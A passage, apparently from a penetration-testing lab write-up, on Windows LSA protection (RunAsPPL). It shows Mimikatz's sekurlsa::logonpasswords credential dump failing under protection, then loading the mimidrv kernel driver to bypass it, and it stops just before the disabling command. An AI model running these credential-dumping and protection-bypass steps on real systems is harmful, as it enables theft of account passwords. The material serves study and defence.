To enable LSASS protection, we can modify the registry RunAsPPL DWORD value in
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa to 1
If the LSA protection is enabled, we will get an error executing the "sekurlsa::logonpasswords" command.
mimikatz # sekurlsa::logonpasswords
ERROR kuhl_m_sekurlsa_acquireLSA ; Handle on memory (0x00000005)
The command returns a 0x00000005 error code message (Access Denied). Lucky for us, Mimikatz provides a mimidrv.sys driver that works on kernel level to disable the LSA protection. We can import it to Mimikatz by executing "!+" as follows,
Loading the mimidrv Driver into Memory
mimikatz # !+
[*] 'mimidrv' service not present
[+] 'mimidrv' service successfully registered
[+] 'mimidrv' service ACL to everyone
[+] 'mimidrv' service started
Once the driver is loaded, we can disable the LSA protection by executing the following Mimikatz command: